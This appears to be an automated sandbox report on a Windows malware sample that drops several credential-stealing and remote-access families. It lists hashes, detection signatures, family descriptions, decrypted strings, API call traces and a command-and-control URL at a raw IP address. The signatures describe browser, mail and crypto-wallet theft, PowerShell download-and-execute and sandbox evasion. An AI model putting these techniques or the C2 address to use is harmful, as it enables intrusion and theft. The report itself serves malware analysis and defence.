Windows Analysis Report
JlvRdFpwOD.exe

Overview

General Information

Sample name: JlvRdFpwOD.exe
renamed because original name is a hash value
Original sample name: d58a180c5d85448472b4e1007fae4b2a.exe
Analysis ID: 1435236
MD5: d58a180c5d85448472b4e1007fae4b2a
SHA1: c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54
SHA256: 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
Tags: 32exetrojan
Infos:

Detection

Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Benign windows process drops PE files
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Set custom UserAgent and download file via Powershell
Snort IDS alert for network traffic
Yara detected Mars stealer
Yara detected PureLog Stealer
Yara detected RedLine Stealer
Yara detected SectopRAT
Yara detected Stealc
Yara detected UAC Bypass using CMSTP
Yara detected Vidar stealer
Yara detected zgRAT
.NET source code contains method to dynamically call methods (often used by packers)
C2 URLs / IPs found in malware configuration
Checks if the current machine is a virtual machine (disk enumeration)
Connects to many ports of the same IP (likely port scanning)
Found direct / indirect Syscall (likely to bypass EDR)
Found evasive API chain (may stop execution after checking locale)
Found hidden mapped module (file has been removed from disk)
Found many strings related to Crypto-Wallets (likely being stolen)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Powershell drops PE file
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Sigma detected: PowerShell DownloadFile
Sigma detected: Powerup Write Hijack DLL
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses known network protocols on non-standard ports
Writes to foreign memory regions
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to record screenshots
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries keyboard layouts
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Startup Folder File Write
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
RedLine Stealer RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar
Name Description Attribution Blogpost URLs Link
zgRAT zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

AV Detection
barindex
Found malware configuration
Source: 0000000A.00000003.1743202440.0000000003520000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.150/c698e1bc8a2f5e6d.php"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\ejfydkiwv ReversingLabs: Detection: 64%
Source: C:\Users\user\AppData\Local\Temp\ejfydkiwv Virustotal: Detection: 60% Perma Link
Source: C:\Users\user\AppData\Local\Temp\i1.exe Virustotal: Detection: 47% Perma Link
Multi AV Scanner detection for submitted file
Source: JlvRdFpwOD.exe Virustotal: Detection: 19% Perma Link
Source: JlvRdFpwOD.exe ReversingLabs: Detection: 13%
Machine Learning detection for sample
Source: JlvRdFpwOD.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: CtIvEWInDoW
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: AgEBOxw
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: ijklmnopqrs
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: /#%33@@@
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: abcdefghijklmnopqrs
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: @@@@<@@@
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: abcdefghijklmnopqrs
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: "&&""..""&&"">>""&&"".."ikSQWQSQ_QBEklmn^pqrBtuvFxyzL123H5679+/|
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: %s\%V/yVs
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: %s\*.
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: }567y9n/S
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: ntTekeny
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: ging
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: PassMord0
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: J@@@`z`@J@@@J@@@
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: OPQRSTUVWXY
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: 456753+/---- '
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: '--- '
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: n|
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: HeapFree
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: GetLocaleInfoA
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: ntProcessId
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: wininet.dll
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: shlwapi.dll
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: shell32.dll
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: .dll
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: column_text
Source: 10.2.u5o8.0.exe.400000.0.raw.unpack String decryptor: login:
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree, 10_2_00409540
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004155A0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA, 10_2_004155A0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree, 10_2_00406C10
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 10_2_004094A0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat, 10_2_0040BF90
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B346C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 10_2_6B346C80
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B49A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 10_2_6B49A9A0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4943B0 PK11_PubEncryptPKCS1,PR_SetError, 10_2_6B4943B0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4C0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util, 10_2_6B4C0180
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4BA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError, 10_2_6B4BA730
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00C04280 CreateFileW,GetLastError,GetFileSize,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,__allrem,ReadFile,CryptDecrypt,CloseHandle,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext, 15_2_00C04280
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00C045A0 CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptDeriveKey,CryptDestroyHash,CryptReleaseContext, 15_2_00C045A0

Exploits
barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 29.2.cmd.exe.56ede64.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.cmd.exe.56a9976.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.cmd.exe.4b6e976.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.cmd.exe.4bb2264.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.run.exe.3e95d5b.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.cmd.exe.56ed264.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.run.exe.3c56d5b.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.run.exe.3c5615b.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.run.exe.3e9515b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.run.exe.3c1286d.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.cmd.exe.4bb2e64.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.run.exe.3e5186d.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2209302151.0000000004B68000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.2328005154.0000000003C0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.1962292666.0000000003E4A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: run.exe PID: 7264, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmd.exe PID: 8180, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: run.exe PID: 4944, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmd.exe PID: 8116, type: MEMORYSTR

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\i1.exe Unpacked PE file: 5.2.i1.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Unpacked PE file: 10.2.u5o8.0.exe.400000.0.unpack
Uses 32bit PE files
Source: JlvRdFpwOD.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 108.138.113.167:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 108.138.125.52:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 108.138.125.52:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 108.138.125.52:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 169.150.236.100:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 173.222.162.32:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: JlvRdFpwOD.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: mozglue.pdbP source: u5o8.0.exe, 0000000A.00000002.2237351371.000000006B3AD000.00000002.00000001.01000000.00000015.sdmp
Source: Binary string: /_/obj/Release/Microsoft.ApplicationInsights/net46/Microsoft.ApplicationInsights.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2933086643.000002EADA7B0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: nss3.pdb@ source: u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp
Source: Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\PerceiveHUD\obj\Debug\PerceiveHUD.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Cleanup\obj\Release\Cleanup.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879342986.000002EAC1D10000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Win32TaskScheduler\obj\Release\Win32TaskScheduler.pdbz9 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: c:\release\WorkingDir\PrismLibraryBuild\PrismLibrary\Desktop\Prism\obj\Release\Microsoft.Practices.Prism.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2932644747.000002EADA780000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: wntdll.pdb source: run.exe, 0000000F.00000002.1965906033.000000000433B000.00000004.00000001.00020000.00000000.sdmp, run.exe, 0000000F.00000002.1963890876.0000000003F80000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000000F.00000002.1961362566.0000000002B23000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2213038989.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2206608365.00000000047B6000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328326614.0000000003D4F000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328668723.00000000040A0000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2326985768.0000000002918000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500316011.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500044845.00000000052F9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Bootstrap\obj\Release\Bootstrap.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerSMUDUI\obj\Release\InstallerSMUDUI.pdb| source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\STDHash\obj\Release\STDHash.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: mozglue.pdb source: u5o8.0.exe, 0000000A.00000002.2237351371.000000006B3AD000.00000002.00000001.01000000.00000015.sdmp
Source: Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\UniversalInstaller.pdb source: run.exe, 0000000F.00000002.1960834938.0000000000D4C000.00000002.00000001.01000000.0000000F.sdmp, run.exe, 0000000F.00000000.1880596596.0000000000D4C000.00000002.00000001.01000000.0000000F.sdmp, run.exe, 0000001C.00000000.2264841661.0000000000D4C000.00000002.00000001.01000000.0000000F.sdmp, run.exe, 0000001C.00000002.2325846884.0000000000D4C000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Telemetry\obj\Release\Telemetry.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2966477247.000002EAE1500000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_de-de\obj\Release\Locale_de-de.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_pt-br\obj\Release\Locale_pt-br.pdb^ source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: D:\Projects\Personal\DeviceId\src\DeviceId\obj\Release\net40\DeviceId.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2967088343.000002EAE1530000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Downloader\obj\Release\Downloader.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878631711.000002EAC1CC0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\STDHash\obj\Release\STDHash.pdb@=Z= L=_CorDllMainmscoree.dll source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\relay.pdb source: run.exe, 0000000F.00000002.1968156181.000000006C747000.00000002.00000001.01000000.00000010.sdmp, run.exe, 0000001C.00000002.2343684829.000000006C3B7000.00000002.00000001.01000000.00000010.sdmp
Source: Binary string: EntitlementDefinitions.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2932248197.000002EADA740000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_en-us\obj\Release\Locale_en-us.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879067519.000002EAC1D00000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\riranux\jasihomey\22\kula.pdb source: i1.exe, 00000005.00000000.1680373346.0000000000411000.00000002.00000001.01000000.00000007.sdmp, i1.exe, 00000005.00000002.2099504625.0000000001C44000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\Projects\Personal\DeviceId\src\DeviceId\obj\Release\net40\DeviceId.pdbSHA256M$ source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2967088343.000002EAE1530000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Branding\obj\Release\Branding.pdbjD source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878747865.000002EAC1CD0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_ko-kr\obj\Release\Locale_ko-kr.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_de-de\obj\Release\Locale_de-de.pdbF source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_fr-fr\obj\Release\Locale_fr-fr.pdbf source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_es-es\obj\Release\Locale_es-es.pdb. source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_pt-br\obj\Release\Locale_pt-br.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\pisinep.pdb source: i1.exe, 00000005.00000003.1743137177.0000000003831000.00000004.00000020.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000000.1741866860.0000000000411000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2938855133.000002EADAB70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_it-it\obj\Release\Locale_it-it.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
